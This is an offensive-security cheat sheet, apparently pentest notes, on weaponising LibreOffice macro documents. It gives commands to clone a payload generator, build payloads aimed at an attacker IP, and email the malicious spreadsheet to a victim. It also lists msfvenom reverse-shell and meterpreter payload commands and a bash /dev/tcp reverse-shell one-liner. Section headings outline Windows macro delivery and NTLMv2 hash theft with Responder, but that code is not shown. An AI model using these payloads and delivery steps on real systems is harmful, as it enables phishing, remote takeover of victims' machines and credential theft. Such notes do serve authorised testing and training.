LibreOffice Macros
Automated
1) Download the tool from GitHub
git clone https://github.com/0bfxgh0st/MMG-LO2) Generate payload based on the attack
python3 mmg-ods.py windows ATTACK_IP PORT3) Send email to victim
sendemail -f 'sender@localhost' -t 'recipient@localhost' -s TARGET_IP:25 -u 'Your Spreadsheet' -m 'Here is your Spreadsheet' -a file.odsswaks -t recipient@localhost --from sender@localhost --attach @file.ods --server TARGET_IP --body "Please check this spreadsheet" --header "Subject: Please check this spreadsheet"Linux Targets
1) Generate a Linux-compatible reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f bash -o payload.sh
msfvenom -p python/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f raw -o payload.py
echo 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' > shell.sh2) Create a Malicious LibreOffice Macro
1. Open LibreOffice Writer and press ALT + F11 to open the macro editor.
2. Create a new macro under My Macros > Standard > Module1.
3) Host the Payload on a Web Server
4) Save the LibreOffice Document with Macro
5) Setup listener
6) Deliver
Windows Targets
1) Generate the Reverse Shell Payload with MSFvenom
2) Extract and encode the payload
3) Create the LibreOffice Spreadsheet with Macro Code:
1. Open LibreOffice Calc and create a new spreadsheet (save it as exploit.ods).
2. Enable Macros:
3. Insert the Macro Code:
4) Macro code example
Simpler macro code example
5) Setup listener
6) Deliver
Steal NTLMv2 Hash
1) Create a malicious .odt file
2) View the source files of the .odt and edit the content.xml file
3) Run Responder
4) Send/upload the malicious .odt file to capture the hash
5) Crack hash
Last updated